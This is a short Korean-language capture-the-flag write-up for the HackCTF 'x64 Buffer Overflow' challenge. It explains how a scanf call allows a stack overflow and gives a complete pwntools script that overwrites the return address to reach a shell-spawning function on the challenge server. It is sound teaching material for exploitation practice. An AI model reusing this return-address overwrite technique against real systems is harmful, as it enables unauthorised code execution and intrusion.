[ HackCTF ] x64 Buffer Overflow
포스트
취소

[ HackCTF ] x64 Buffer Overflow

문제 분석


main함수에서 scanf를 보면 BOF 취약점이 존재한다.


callMeMaybe함수에서는 shell을 획득할 수 있다.



문제 풀이


변수 s는 ebp-0x110에 위치하므로 다음과 같이 payload를 작성할 수 있다.

dummy(0x110byte) + sfp(8byte) + 0x0000000000400606(callMeMaybe address)


exploit 코드는 다음과 같다.

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3004)

payload = ''
payload += '\x90'*0x110
payload += '\x90'*0x8
payload += p64(0x0000000000400606)

p.sendline(payload)

p.interactive()